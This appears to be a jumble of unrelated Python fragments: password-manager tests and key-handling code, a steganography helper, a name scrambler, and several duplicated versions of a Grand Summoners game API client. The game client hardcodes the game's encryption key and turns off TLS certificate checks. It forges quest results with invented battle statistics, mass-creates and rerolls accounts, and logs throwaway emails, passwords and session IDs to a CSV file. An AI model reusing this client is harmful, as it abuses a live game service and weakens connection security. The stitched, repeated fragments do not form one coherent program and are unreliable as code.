def test_hash_code(self):
self.assertEqual("3e25960a79dbc69b674cd4ec67a72c62",
Crypter.get_MD5_hash("Hello world"))
self.assertEqual("d41d8cd98f00b204e9800998ecf8427e",
Crypter.get_MD5_hash(""))
self.assertEqual("aaccedee5cc97822658304e92121bd3f",
Crypter.get_MD5_hash("уекрекыонекуцкнелеунл"))
def test_store_local_settings(self):
abc_setting = self.manager.get_setting('abc.de')
abc_setting.set_template('xAxonaxxxx')
self.manager.set_setting(abc_setting)
new_setting = PasswordSetting('hugo.com')
new_setting.set_template('xonxAxxaxxxx')
self.manager.set_setting(new_setting)
kgk_manager = KgkManager()
kgk_manager.set_preference_manager(self.preference_manager)
kgk_manager.create_new_kgk()
salt = os.urandom(32)
kgk_manager.create_and_save_new_kgk_block(
Crypter(Crypter.createIvKey(b'xyz', salt, iterations=3)))
self.manager.store_local_settings(kgk_manager)
with open(os.path.expanduser('~/.ctSESAM_test.pws'), 'br') as f:
data = f.read()
settings_crypter = PasswordSettingsManager.get_settings_crypter(
kgk_manager)
decrypted_settings = settings_crypter.decrypt(data[144:])
sync_settings_len = struct.unpack('!I', decrypted_settings[:4])[0]
data = json.loads(
Packer.decompress(
decrypted_settings[4 + sync_settings_len:]).decode('utf8'))
self.assertEqual('abc.de', data['settings']['abc.de']['domain'])
self.assertEqual('xAxonaxxxx',
data['settings']['abc.de']['passwordTemplate'])
self.assertEqual('hugo.com', data['settings']['hugo.com']['domain'])
self.assertEqual('xonxAxxaxxxx',
data['settings']['hugo.com']['passwordTemplate'])
def _convert_text_to_special_byte_arr(input_text):
"""Конвертирует текст в специальный байтовый массив,
который впоследствии будет вставлен в .bmp файл."""
encoded_text = Crypter.encode_text(input_text).encode("UTF-8")
text_hashcode = Crypter.get_MD5_hash(input_text).encode("UTF-8")
result_arr_length = Converter.int_to_bytes(
len(encoded_text) + len(text_hashcode) + 4, 4)
return encoded_text + text_hashcode + result_arr_length
def test_get_kgk_has_kgk(self):
kgkm = KgkManager()
self.assertEqual(b'', kgkm.get_kgk())
self.assertFalse(kgkm.has_kgk())
kgkm.kgk = b"\xE4" * 64
kgkm.kgk_crypter = Crypter(
Crypter.createIvKey(b'1234', b'pepper', iterations=3))
self.assertEqual(b"\xE4" * 64, kgkm.get_kgk())
self.assertTrue(kgkm.has_kgk())
def _check_message_availability(special_byte_arr):
"""Проверяет массив байт на наличие сообщения и метаданных."""
try:
hash_from_byte_arr = special_byte_arr[-36:-4].decode("UTF-8")
encoded_text = special_byte_arr[:-36].decode("UTF-8")
decoded_text = Crypter.decode_text(encoded_text)
hash_of_decoded_text = Crypter.get_MD5_hash(decoded_text)
return hash_of_decoded_text == hash_from_byte_arr
except UnicodeDecodeError:
raise Exception(strings.DATA_CORRUPTED)
def get_settings_crypter(kgk_manager):
"""
Creates a settings crypter
:param kgk_manager: a kgk manager
:type kgk_manager: KgkManager
:return: Crypter for settings
:rtype: Crypter
"""
return Crypter(Crypter.create_key(kgk_manager.get_kgk(), kgk_manager.get_salt2()) + kgk_manager.get_iv2())
def create_new_kgk(self):
"""
Creates a new kgk. This overwrites the previous one.
:return: the new kgk
:rtype: bytes
"""
self.kgk = os.urandom(64)
self.iv2 = Crypter.createIv()
self.salt2 = Crypter.createSalt()
return self.kgk
def test_get_export_data(self):
settings = {
'settings': {
'unit.test': {
'domain': 'unit.test',
'extras': '#!"§$%&/()[]{}=-_+*<>;:.',
'passwordTemplate': 'xnxoaAxxxx',
'iterations': 5000,
'notes': 'Nice note!',
'salt': 'cGVwcGVy',
'cDate': '2011-02-12T11:07:31',
'mDate': '2011-02-12T11:07:32'
},
'some.domain': {
'domain': 'some.domain',
'extras': '6478593021',
'passwordTemplate': 'xnxoaA',
'iterations': 4096,
'salt': 'cGVwcGVy',
'cDate': '2013-06-17T04:03:41',
'mDate': '2014-08-02T10:37:12'
}
},
'synced': []
}
salt = os.urandom(32)
kgk_manager = KgkManager()
kgk_manager.set_preference_manager(self.preference_manager)
kgk_manager.create_new_kgk()
kgk_block = kgk_manager.create_and_save_new_kgk_block(
Crypter(Crypter.createIvKey(b'xyz', salt, iterations=3)))
crypter = PasswordSettingsManager.get_settings_crypter(kgk_manager)
f = open(os.path.expanduser('~/.ctSESAM_test.pws'), 'bw')
f.write(salt + kgk_block + crypter.encrypt(
struct.pack('!I', 0) +
Packer.compress(json.dumps(settings).encode('utf-8'))))
f.close()
self.preference_manager.read_file()
self.manager.load_local_settings(kgk_manager)
data = b64decode(self.manager.get_export_data(kgk_manager))
self.assertEqual(b'\x01', data[:1])
salt = data[1:33]
kgk_crypter = Crypter(Crypter.createIvKey(b'xyz', salt, iterations=3))
kgk_manager2 = KgkManager()
kgk_manager2.set_preference_manager(self.preference_manager)
kgk_manager2.decrypt_kgk(data[33:145], kgk_crypter)
settings_crypter = PasswordSettingsManager.get_settings_crypter(
kgk_manager2)
self.assertEqual(
settings['settings'],
json.loads(
str(Packer.decompress(settings_crypter.decrypt(data[145:])),
encoding='utf-8')))
def test_decrypt(self):
ciphertext = b'EFEgY5bexGnwjGSUQKK35TPD7fAjG66REq5m9N1eyFHrZQwzv+aLc7bVmJ9FzCyxbCnbyUnzDKiY505br' + \
b'oEb+KO41XKW668xJzh/JvOK0Cu/+bc4/zSFHZM6JsTYEVDIXgR39ZlypeB34jDVI2544w1ey+DmTWbe8n' + \
b'UbagjnmRkok6kOAq8Avsf9BVJMw3BnSn/4cCC+gOxOJY5fp4DecNDQnp0HyyUz2VMMh/JUYILS5+67fXq' + \
b'29CbIQ1DOTqDfqRPA62nkRVPY83cKIe/UXw=='
self.assertEqual(0, len(b64decode(ciphertext)) % 16)
password = "******"
crypter = Crypter(Crypter.createIvKey(password.encode('utf-8'), "pepper".encode('utf-8'), iterations=3))
self.assertEqual(b'Important information with quite some length. ' +
b'This message is as long as this because otherwise only one cipher block would ' +
b'be encrypted. This long message insures that more than one block is needed.',
crypter.decrypt(b64decode(ciphertext)))
def test_get_domain_list(self):
settings = {
'settings': {
'unit.test': {
'domain': 'unit.test',
'extras': '#!"§$%&/()[]{}=-_+*<>;:.',
'passwordTemplate': 'xxxaoxxAxxn',
'iterations': 5000,
'notes': 'Nice note!',
'salt': 'cGVwcGVy',
'cDate': '2011-02-12T11:07:31',
'mDate': '2011-02-12T11:07:32'
},
'some.domain': {
'domain': 'some.domain',
'extras': '#!"§$%&/()[]{}=-_+*<>;:.',
'passwordTemplate': 'xxxo',
'iterations': 4096,
'salt': 'cGVwcGVy',
'cDate': '2013-06-17T04:03:41',
'mDate': '2014-08-02T10:37:12'
}
},
'synced': []
}
salt = os.urandom(32)
f = open(os.path.expanduser('~/.ctSESAM_test.pws'), 'bw')
data = json.dumps(settings).encode('utf-8')
kgk_manager = KgkManager()
kgk_manager.set_preference_manager(self.preference_manager)
kgk_manager.create_new_kgk()
kgk_block = kgk_manager.create_and_save_new_kgk_block(
Crypter(Crypter.createIvKey(b'xyz', salt, iterations=3)))
crypter = PasswordSettingsManager.get_settings_crypter(kgk_manager)
f.write(salt + kgk_block +
crypter.encrypt(struct.pack('!I', 0) + Packer.compress(data)))
f.close()
self.preference_manager.read_file()
self.manager.load_local_settings(kgk_manager)
self.assertIn('settings', self.manager.get_settings_as_dict())
self.assertIn('unit.test',
self.manager.get_settings_as_dict()['settings'])
self.assertEqual(
settings['settings']['unit.test'],
self.manager.get_settings_as_dict()['settings']['unit.test'])
self.assertIn('some.domain',
self.manager.get_settings_as_dict()['settings'])
self.assertEqual(
settings['settings']['some.domain'],
self.manager.get_settings_as_dict()['settings']['some.domain'])
self.assertEqual(settings, self.manager.get_settings_as_dict())
def test_load_settings_from_file(self):
settings = {
'settings': {
'unit.test': {
'domain': 'unit.test',
'passwordTemplate': 'xxxxxxxxxxo',
'extras': '#OWspx6;3gov0/1',
'iterations': 5000,
'notes': 'Nice note!',
'cDate': '2011-02-12T11:07:31',
'mDate': '2011-02-12T11:07:32'
},
'some.domain': {
'domain': 'some.domain',
'passwordTemplate': 'oxxx',
'extras': '6478593021',
'cDate': '2013-06-17T04:03:41',
'mDate': '2014-08-02T10:37:12'
}
},
'synced': []
}
salt = os.urandom(32)
data = json.dumps(settings).encode('utf-8')
kgk_manager = KgkManager()
kgk_manager.set_preference_manager(self.preference_manager)
kgk_manager.create_new_kgk()
kgk_block = kgk_manager.create_and_save_new_kgk_block(
Crypter(Crypter.createIvKey(b'xyz', salt, iterations=3)))
crypter = PasswordSettingsManager.get_settings_crypter(kgk_manager)
f = open(os.path.expanduser('~/.ctSESAM_test.pws'), 'bw')
f.write(salt + kgk_block +
crypter.encrypt(struct.pack('!I', 0) + Packer.compress(data)))
f.close()
self.preference_manager.read_file()
self.manager.load_local_settings(kgk_manager)
self.assertIn('unit.test', self.manager.get_domain_list())
self.assertIn('some.domain', self.manager.get_domain_list())
self.assertEqual('xxxxxxxxxxo',
self.manager.get_setting('unit.test').get_template())
self.assertEqual(
5000,
self.manager.get_setting('unit.test').get_iterations())
self.assertEqual('Nice note!',
self.manager.get_setting('unit.test').get_notes())
self.assertEqual(
'oxxx',
self.manager.get_setting('some.domain').get_template())
self.assertEqual(
'6478593021',
self.manager.get_setting('some.domain').get_character_set())
def get_kgk_crypter(self, password, salt):
"""
Creates a kgk crypter for the given credentials. This is a very expensive operation.
:param password:
:type password: bytes
:param salt:
:type salt: bytes
:return: a kgk crypter
:rtype: Crypter
"""
self.kgk_crypter = Crypter(Crypter.createIvKey(password=password, salt=salt))
self.store_salt(salt=salt)
return self.kgk_crypter
def __init__(self):
self.crypter=Crypter()
self.base='https://g-api.grandsummoners.com/app/'
self.s=requests.Session()
self.s.headers.update({'Content-Type':'application/x-www-form-urlencoded','Connection':'keep-alive','User-Agent':'B_megamistrike/53 CFNetwork/808.2.16 Darwin/16.3.0','Accept-Language':'en-gb','Accept-Encoding':'gzip, deflate'})
self.s.verify=False
self.app_hash='5f487dc2427b3b369757cb587656c806'
self.app_version=31
self.master_version=404
self.resource_version=183
self.platform_type = 1
self.key='ZFlyUU0ycFJaTVlFRkVoaA=='
self.useNewKey=False
self.device_id=None
self.session_id=None
def _convert_special_byte_arr_to_text(special_byte_arr):
"""Конвертирует байтовый массив с сообщением обратно в сообщение."""
if not Steganography._check_message_availability(special_byte_arr):
raise Exception(strings.DATA_CORRUPTED)
encoded_text = special_byte_arr[:-36].decode("UTF-8")
decoded_text = Crypter.decode_text(encoded_text)
return decoded_text
def decrypt_kgk(self, encrypted_kgk, kgk_crypter=None, password=b'', salt=b''):
"""
Decrypts kgk blobs. If a crypter is passed it is used. If none is passed a new crypter is created with
the salt and password. This takes relatively long. If the encrypted_kgk has a wrong length a new kgk is
created.
:param encrypted_kgk:
:type encrypted_kgk: bytes
:param kgk_crypter:
:type kgk_crypter: Crypter
:param password:
:type password: bytes
:param salt:
:type salt: bytes
"""
if kgk_crypter:
self.kgk_crypter = kgk_crypter
else:
if len(salt) < 32:
salt = Crypter.createSalt()
self.get_kgk_crypter(password, salt)
if len(encrypted_kgk) == 112:
kgk_block = self.kgk_crypter.decrypt_unpadded(encrypted_kgk)
self.salt2 = kgk_block[:32]
self.iv2 = kgk_block[32:48]
self.kgk = kgk_block[48:112]
else:
self.create_new_kgk()
def test_get_kgk_has_kgk(self):
kgkm = KgkManager()
self.assertEqual(b'', kgkm.get_kgk())
self.assertFalse(kgkm.has_kgk())
kgkm.kgk = b"\xE4"*64
kgkm.kgk_crypter = Crypter(Crypter.createIvKey(b'1234', b'pepper', iterations=3))
self.assertEqual(b"\xE4"*64, kgkm.get_kgk())
self.assertTrue(kgkm.has_kgk())
def test_decrypt(self):
ciphertext = b'EFEgY5bexGnwjGSUQKK35TPD7fAjG66REq5m9N1eyFHrZQwzv+aLc7bVmJ9FzCyxbCnbyUnzDKiY505br' + \
b'oEb+KO41XKW668xJzh/JvOK0Cu/+bc4/zSFHZM6JsTYEVDIXgR39ZlypeB34jDVI2544w1ey+DmTWbe8n' + \
b'UbagjnmRkok6kOAq8Avsf9BVJMw3BnSn/4cCC+gOxOJY5fp4DecNDQnp0HyyUz2VMMh/JUYILS5+67fXq' + \
b'29CbIQ1DOTqDfqRPA62nkRVPY83cKIe/UXw=='
self.assertEqual(0, len(b64decode(ciphertext)) % 16)
password = "******"
crypter = Crypter(
Crypter.createIvKey(password.encode('utf-8'),
"pepper".encode('utf-8'),
iterations=3))
self.assertEqual(
b'Important information with quite some length. ' +
b'This message is as long as this because otherwise only one cipher block would '
+
b'be encrypted. This long message insures that more than one block is needed.',
crypter.decrypt(b64decode(ciphertext)))
def get_settings_crypter(kgk_manager):
"""
Creates a settings crypter
:param kgk_manager: a kgk manager
:type kgk_manager: KgkManager
:return: Crypter for settings
:rtype: Crypter
"""
return Crypter(Crypter.create_key(kgk_manager.get_kgk(), kgk_manager.get_salt2()) + kgk_manager.get_iv2())
def post_execute(self):
key_iv = self.queue.get()
self.process.join()
self.kgk_manager.decrypt_kgk(self.preference_manager.get_kgk_block(),
Crypter(key_iv))
self.settings_manager.load_local_settings(self.kgk_manager)
for i in reversed(range(self.domain_edit.count())):
self.domain_edit.removeItem(i)
self.domain_edit.insertItems(0,
self.settings_manager.get_domain_list())
self.domain_edit.textChanged.emit(self.domain_edit.lineEdit().text())
def get_kgk_crypter_salt(self):
"""
Loads the public salt. If there is none it is created and stored.
:return:
"""
self.salt = self.preference_manager.get_salt()
if len(self.salt) != 32:
self.salt = Crypter.createSalt()
self.store_salt(self.salt)
return self.salt
def __init__(self):
self.crypter = Crypter()
self.base = 'https://g-api.grandsummoners.com/app/'
self.s = requests.Session()
self.s.headers.update({
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'keep-alive',
'User-Agent':
'Grand%20Summoners/145 CFNetwork/808.2.16 Darwin/16.3.0',
'Accept-Language': 'en-gb',
'Accept-Encoding': 'gzip, deflate'
})
self.s.verify = False
self.app_hash = 'c8fb64652fcdfb325012c09f7efea208'
self.app_version = 33
self.master_version = 438
self.resource_version = 191
self.scenario_master_version = 150
self.key = 'ZFlyUU0ycFJaTVlFRkVoaA=='
self.useNewKey = False
self.device_id = None
self.session_id = None
def __init__(self):
self.crypter = Crypter()
self.base = 'https://g-api.grandsummoners.com/app/'
self.s = requests.Session()
self.s.headers.update({
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'keep-alive',
'User-Agent':
'Grand%20Summoners/170 CFNetwork/1121.2.2 Darwin/19.3.0',
'Accept-Language': 'en-gb',
'Accept-Encoding': 'gzip, deflate'
})
self.s.verify = False
self.app_hash = 'd8fea9d2539d2f4da9ca3fd3cf7d27ea'
self.app_version = 39
self.master_version = 510
self.resource_version = 210
self.scenario_master_version = 170
self.key = 'ZFlyUU0ycFJaTVlFRkVoaA=='
self.useNewKey = False
self.device_id = None
self.session_id = None
def __init__(self, domain):
self.domain = domain
self.url = None
self.username = None
self.legacy_password = None
self.notes = None
self.iterations = 4096
self.salt = Crypter.createSalt()
self.creation_date = datetime.now()
self.modification_date = self.creation_date
self.extra_characters = DEFAULT_CHARACTER_SET_EXTRA
self.template = "x" * 10
self.calculate_template(True, True, True, True)
self.synced = False
def __init__(self, domain):
self.domain = domain
self.url = None
self.username = None
self.legacy_password = None
self.notes = None
self.iterations = 4096
self.salt = Crypter.createSalt()
self.creation_date = datetime.now()
self.modification_date = self.creation_date
self.extra_characters = DEFAULT_CHARACTER_SET_EXTRA
self.template = 'x' * 10
self.calculate_template(True, True, True, True)
self.synced = False
def __init__(self, domain):
self.domain = domain
self.url = None
self.username = None
self.legacy_password = None
self.notes = None
self.iterations = 4096
self.salt = Crypter.createSalt()
self.length = 10
self.creation_date = datetime.now()
self.modification_date = self.creation_date
self.used_characters = self.get_default_character_set()
self.extra_characters = DEFAULT_CHARACTER_SET_EXTRA
self.template = None
self.force_character_classes = False
self.synced = False
def create_and_save_new_kgk_block(self, kgk_crypter=None):
"""
Creates a fresh kgk block and saves it.
:param kgk_crypter:
:type kgk_crypter: Crypter
:return: kgk block
:rtype: bytes
"""
self.salt = Crypter.createSalt()
self.store_salt(self.salt)
if kgk_crypter:
self.kgk_crypter = kgk_crypter
kgk_block = self.get_fresh_encrypted_kgk()
self.preference_manager.store_kgk_block(kgk_block)
return kgk_block
class Scrambler(object):
def __init__(self, parser, password):
self.crypter = Crypter(password)
self.parser = parser
def scramble_func_names(self):
scrambled = dict()
for func_name in self.parser.func_names:
scrambled[func_name] = self._scramble(func_name)
return scrambled
def _scramble(self, str):
data = str.encode()
encrypted = self.crypter.encrypt(data)
hasher = MD5.new()
hasher.update(encrypted)
return hasher.hexdigest()
class API(object):
def __init__(self):
self.crypter = Crypter()
self.base = 'https://g-api.grandsummoners.com/app/'
self.s = requests.Session()
self.s.headers.update({
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'keep-alive',
'User-Agent':
'Grand%20Summoners/145 CFNetwork/808.2.16 Darwin/16.3.0',
'Accept-Language': 'en-gb',
'Accept-Encoding': 'gzip, deflate'
})
self.s.verify = False
self.app_hash = 'c8fb64652fcdfb325012c09f7efea208'
self.app_version = 33
self.master_version = 438
self.resource_version = 191
self.scenario_master_version = 150
self.key = 'ZFlyUU0ycFJaTVlFRkVoaA=='
self.useNewKey = False
self.device_id = None
self.session_id = None
def setDevice(self, id):
self.platform_type = id
def setProxy(self, ip, port):
part = '%s:%s' % (ip, port)
self.log('using proxy %s' % (part))
self.s.proxies.update({
'http': 'http://%s' % part,
'https': 'https://%s' % part,
})
def getUnitName(self, id):
id = str(id)
if id in unit_master.data:
return unit_master.data[id]['name']
self.log('%s missing' % (id))
return None
def getUnitRarity(self, id):
id = str(id)
if id in unit_master.data:
return unit_master.data[id]['rarity']
self.log('%s missing' % (id))
return None
def getEquipName(self, id):
id = str(id)
if id in item_master.data:
return item_master.data[id]['name']
self.log('%s missing' % (id))
return None
def getEquipRarity(self, id):
id = str(id)
if id in item_master.data:
return item_master.data[id]['rarity']
self.log('%s missing' % (id))
return None
def setNextKey(self, key):
self.key = base64.b64encode(key)
def challenge_end(self, challenge_id):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"challenge_id": challenge_id,
"master_version": self.master_version,
"platform_type": self.platform_type,
"resource_version": self.resource_version,
"user_unique_id": ""
})
def challenge_top(self):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"master_version": self.master_version,
"platform_type": self.platform_type,
"resource_version": self.resource_version,
"user_unique_id": ""
})
def eventshop_page(self, event_id):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"event_id": event_id,
"master_version": self.master_version,
"platform_type": self.platform_type,
"resource_version": self.resource_version,
"user_unique_id": ""
})
def gacha_do(self, button_no, gacha_id):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"button_no": button_no,
"gacha_id": gacha_id,
"master_version": self.master_version,
"platform_type": self.platform_type,
"resource_version": self.resource_version,
"user_unique_id": ""
})
def gacha_top(self):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"master_version": self.master_version,
"platform_type": self.platform_type,
"resource_version": self.resource_version,
"user_unique_id": ""
})
def game_init(self):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"encryption_key": "dYrQM2pRZMYEFEhh\\ZgAEi{I[?ZToT@G",
"master_version": 0,
"platform_type": self.platform_type,
"resource_version": 0,
"scenario_master_version": 0
})
def home(self):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"master_version": self.master_version,
"platform_type": self.platform_type,
"resource_version": self.resource_version,
"user_unique_id": ""
})
def login(self):
res = self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"country_code": "",
"device_id": "",
"device_token": "",
"is_agree": 1,
"master_version": self.master_version,
"platform_type": self.platform_type,
"resource_version": self.resource_version,
"user_unique_id": ""
})
self.useNewKey = True
return res
def setSessionId(self, id):
self.session_id = id
def setDeviceId(self, id):
self.device_id = id
def doLogin(self, id1, id2, force=False):
if force:
self.useNewKey = False
self.setSessionId(id2)
self.setDeviceId(id1)
return self.login()
else:
self.game_init()
self.version_get()
self.setSessionId(id2)
self.setDeviceId(id1)
return self.login()
def message_list_get(self, page):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"get_type": 0,
"master_version": self.master_version,
"page": page,
"platform_type": self.platform_type,
"resource_version": self.resource_version,
"user_unique_id": ""
})
def message_open(self, message_id_list):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"master_version": self.master_version,
"message_id_list": message_id_list,
"page": 1,
"platform_type": self.platform_type,
"resource_version": self.resource_version,
"user_unique_id": ""
})
def party_update(self, user_party_list):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"master_version": self.master_version,
"party": {
"main_no": 0,
"user_party_list": user_party_list
},
"platform_type": self.platform_type,
"resource_version": self.resource_version,
"user_unique_id": ""
})
def quest_end(self,
quest_end,
tutorial_is_end=None,
tutorial_step=None,
tutorial_type=None):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"is_ranking_view": False,
"master_version": self.master_version,
"platform_type": self.platform_type,
"quest_end": quest_end,
"resource_version": self.resource_version,
"tutorial_is_end": tutorial_is_end,
"tutorial_step": tutorial_step,
"tutorial_type": tutorial_type,
"user_unique_id": ""
})
def quest_start(self, quest_id, dungeon_id=10100, map_id=10000):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"dungeon_id": dungeon_id,
"food_id": 0,
"map_id": map_id,
"master_version": self.master_version,
"party": {},
"platform_type": self.platform_type,
"quest_id": quest_id,
"resource_version": self.resource_version,
"supporter_id": "0",
"user_tool_id": 0,
"user_unique_id": ""
})
def register_email(self, mail, password):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"email": mail,
"master_version": self.master_version,
"password": password,
"platform_type": self.platform_type,
"resource_version": self.resource_version,
"user_unique_id": ""
})
def scenario_end(self,
played_scenario_id,
tutorial_is_end=0,
tutorial_step=0,
tutorial_type=0):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"master_version": self.master_version,
"platform_type": self.platform_type,
"played_scenario_id": played_scenario_id,
"resource_version": self.resource_version,
"tutorial_is_end": tutorial_is_end,
"tutorial_step": tutorial_step,
"tutorial_type": tutorial_type,
"user_unique_id": ""
})
def tutorial_update(self, tutorial_is_end, tutorial_step, tutorial_type):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"master_version": self.master_version,
"platform_type": self.platform_type,
"resource_version": self.resource_version,
"tutorial_is_end": tutorial_is_end,
"tutorial_step": tutorial_step,
"tutorial_type": tutorial_type,
"user_unique_id": ""
})
def user_create(self, nickname):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"country_code": "",
"master_version": self.master_version,
"nickname": nickname,
"platform_type": self.platform_type,
"resource_version": self.resource_version,
"user_unique_id": ""
})
def tutorial_skip(self):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"country_code": "",
"master_version": self.master_version,
"platform_type": self.platform_type,
"resource_version": self.resource_version,
"user_unique_id": ""
})
def tutorial_unit_add(self, tutorial_step, tutorial_type, unit_no=1):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"country_code": "",
"master_version": self.master_version,
"platform_type": self.platform_type,
"resource_version": self.resource_version,
"tutorial_step": tutorial_step,
"tutorial_type": tutorial_type,
"unit_no": unit_no,
"user_unique_id": ""
})
def version_get(self):
return self.callAPI({
"app_hash": self.app_hash,
"app_version": self.app_version,
"master_version": 0,
"platform_type": self.platform_type,
"resource_version": 0
})
def decrypt(self, input):
return self.crypter.decrypt(
input,
'ZFlyUU0ycFJaTVlFRkVoaA==' if not self.useNewKey else self.key)
def encrypt(self, input):
return self.crypter.encrypt(
input,
'ZFlyUU0ycFJaTVlFRkVoaA==' if not self.useNewKey else self.key)
def genRandomIP(self):
return socket.inet_ntoa(
struct.pack('>I', random.randint(1, 0xffffffff)))
def callAPI(self, idata):
_caller = sys._getframe(1).f_code.co_name
if 'scenario_master_version' not in idata:
idata['scenario_master_version'] = self.scenario_master_version
self.log('..%s()' % (_caller))
r = self.s.post(self.base + _caller,
data=json.dumps({
'body':
self.encrypt(idata),
'device_id':
'' if not self.device_id else self.device_id,
'session_id':
'' if not self.session_id else self.session_id
}))
if 'error_message' in r.content:
self.log('error_message:%s()' % (_caller))
return None
body = json.loads(r.content)['body']
if len(body) <= 100: return body
data = json.loads(self.decrypt(body))
if 'STATUS' in data and data['STATUS'] != 100:
self.log('%s() status:%s' % (_caller, data['STATUS']))
return None
if 'encryption_key' in data: self.setNextKey(data['encryption_key'])
if 'session_id' in data:
self.session_id = data['session_id']
if 'player_update' in data['result']:
if 'public_id' in data['result']['player_update']:
self.log('hello %s:%s' %
(data['result']['player_update']['public_id'],
data['result']['player_update']['nickname']))
if 'device_id' in data['result']['player_update']:
self.device_id = data['result']['player_update'][
'device_id']
if 'master_version' in data['result']:
self.master_version = data['result']['master_version']
self.resource_version = data['result']['resource_version']
self.scenario_master_version = data['result'][
'scenario_master_version']
return data
def log(self, msg):
print '[%s]%s' % (time.strftime('%H:%M:%S'), msg.encode('utf-8'))
def sappend(self, d, f):
with io.open(f, 'a', encoding='utf8') as the_file:
the_file.write('%s\n' % (unicode(d)))
def genRandomHex(self, n):
return ''.join([random.choice('0123456789ABCDEF')
for x in range(n)]).lower()
def doMission(self,
quest_id,
tutorial_is_end=None,
tutorial_step=None,
tutorial_type=None):
start = self.quest_start(quest_id)
defeated_enemies = []
for i in start['result']['quest']['battle_list']:
for j in i['enemy_list']:
if j == 0: continue
defeated_enemies.append(j['enemy_no'])
quest_end = {}
quest_end['boss_id'] = -1
quest_end['break_count'] = 0
quest_end['break_max_damage'] = 0
quest_end['clear_time'] = 13.312557220458984
quest_end['combo_max'] = 0
quest_end['continue_count'] = 0
quest_end['crystal_count'] = 11
quest_end['dead_count'] = 0
quest_end['defeated_enemies'] = defeated_enemies
quest_end['dungeon_id'] = 1
quest_end['equipped_item_id_list'] = [300018000, 300001050]
quest_end['fullcharge_kill'] = True
quest_end['is_state_abnormal'] = False
quest_end['live_unit_count'] = 2
quest_end['map_id'] = 10000
quest_end['max_damage'] = 3528
quest_end['multi_user_id_list'] = []
quest_end['quest_id'] = quest_id
quest_end['reached_battle_no'] = len(
start['result']['quest']['battle_list'])
quest_end['rest_boss_hp'] = 0
quest_end['result'] = 1
quest_end['used_item_count'] = {}
return self.quest_end(quest_end, tutorial_is_end, tutorial_step,
tutorial_type)
def getAllGifts(self):
message_list = self.message_list_get(1)['result']['message_list']
message_id_list = []
for i in message_list:
message_id_list.append(i['id'])
while (True):
res = self.message_open(
message_id_list)['result']['message']['player_message_list']
if len(res) == 0: break
message_id_list = []
for i in res:
message_id_list.append(i['id'])
def getAllChallenges(self):
challenge = self.challenge_top(
)['result']['player_update']['challenge']
for i in challenge:
if i['clear_value'] == i['current_value']:
self.challenge_end(i['user_challenge_id'])
def exportUnits(self):
units = {}
equip = {}
device_id = self.device_id
session_id = self.session_id
self.device_id = None
self.session_id = None
res = self.doLogin(device_id, session_id, True)
player_unit_list = res['result']['player']['unit']['player_unit_list']
player_item_list = res['result']['player']['item']['player_item_list']
fourstar = 0
for u in player_unit_list:
name = self.getUnitName(u['unit_id'])
if not name: continue
rare = self.getUnitRarity(u['unit_id'])
if not rare: continue
if rare < 4:
self.log('unit:%s rare:%s' % (name, rare))
continue
if rare >= 4 and 'Chicken' not in name: fourstar += 1
if u['unit_id'] not in units:
units[u['unit_id']] = {}
units[u['unit_id']]['name'] = name
units[u['unit_id']]['count'] = 1
else:
units[u['unit_id']]['count'] += 1
units = ';'.join(
['%s x%s' % (units[x]['name'], units[x]['count']) for x in units])
fourstare = 0
for u in player_item_list:
name = self.getEquipName(u['item_id'])
if not name: continue
rare = self.getEquipRarity(u['item_id'])
if not rare: continue
if rare < 4:
self.log('equip:%s rare:%s' % (name, rare))
continue
if rare >= 4: fourstare += 1
if u['item_id'] not in equip:
equip[u['item_id']] = {}
equip[u['item_id']]['name'] = name
equip[u['item_id']]['count'] = 1
else:
equip[u['item_id']]['count'] += 1
if True:
_password = self.genRandomHex(10)
_mail = '*****@*****.**' % (self.genRandomHex(8))
#self.getAllGifts()
print _mail, _password
self.register_email(_mail, _password)
equip = ';'.join([
'%s x%s' % (equip[x]['name'], equip[x]['count']) for x in equip
])
self.sappend(
'%s,%s,%s,%s,%s,%s:%s,%s,%s' %
('ios' if self.platform_type == 2 else 'android', fourstar,
units, fourstare, equip, _mail, _password, device_id,
session_id), 'reroll.csv')
else:
print fourstar
def reroll(self, skipTut=False):
if skipTut:
self.game_init()
self.version_get()
self.user_create(self.genRandomHex(6))
if not self.login(): return
self.tutorial_skip()
self.tutorial_unit_add(12, 1, 2)
self.scenario_end(1010399, 1, 13, 1)
self.home()
self.getAllGifts()
self.exportUnits()
else:
self.game_init()
self.version_get()
self.user_create(self.genRandomHex(6))
if not self.login(): return
self.scenario_end(1000000, 0, 2, 1)
res = self.doMission(10101, 0, 4, 1)
self.scenario_end(1010190)
self.tutorial_update(0, 5, 1)
self.scenario_end(10020, 0, 6, 1)
self.tutorial_update(0, 7, 1)
self.home()
player_unit_list = res['result']['player_update']['unit'][
'player_unit_list']
user_party_list = [{
"leader_unit_id":
player_unit_list[1]['id'],
"no":
0,
"unit": [{
"id": player_unit_list[1]['id'],
"no": 0
}, {
"id": player_unit_list[0]['id'],
"no": 1
}, {
"id": -1,
"no": 2
}, {
"id": -1,
"no": 3
}]
}]
self.party_update(user_party_list)
self.scenario_end(1010201, 0, 7, 1)
self.scenario_end(10041)
self.doMission(10102)
self.scenario_end(1010290) #17
self.scenario_end(10050, 0, 9, 1)
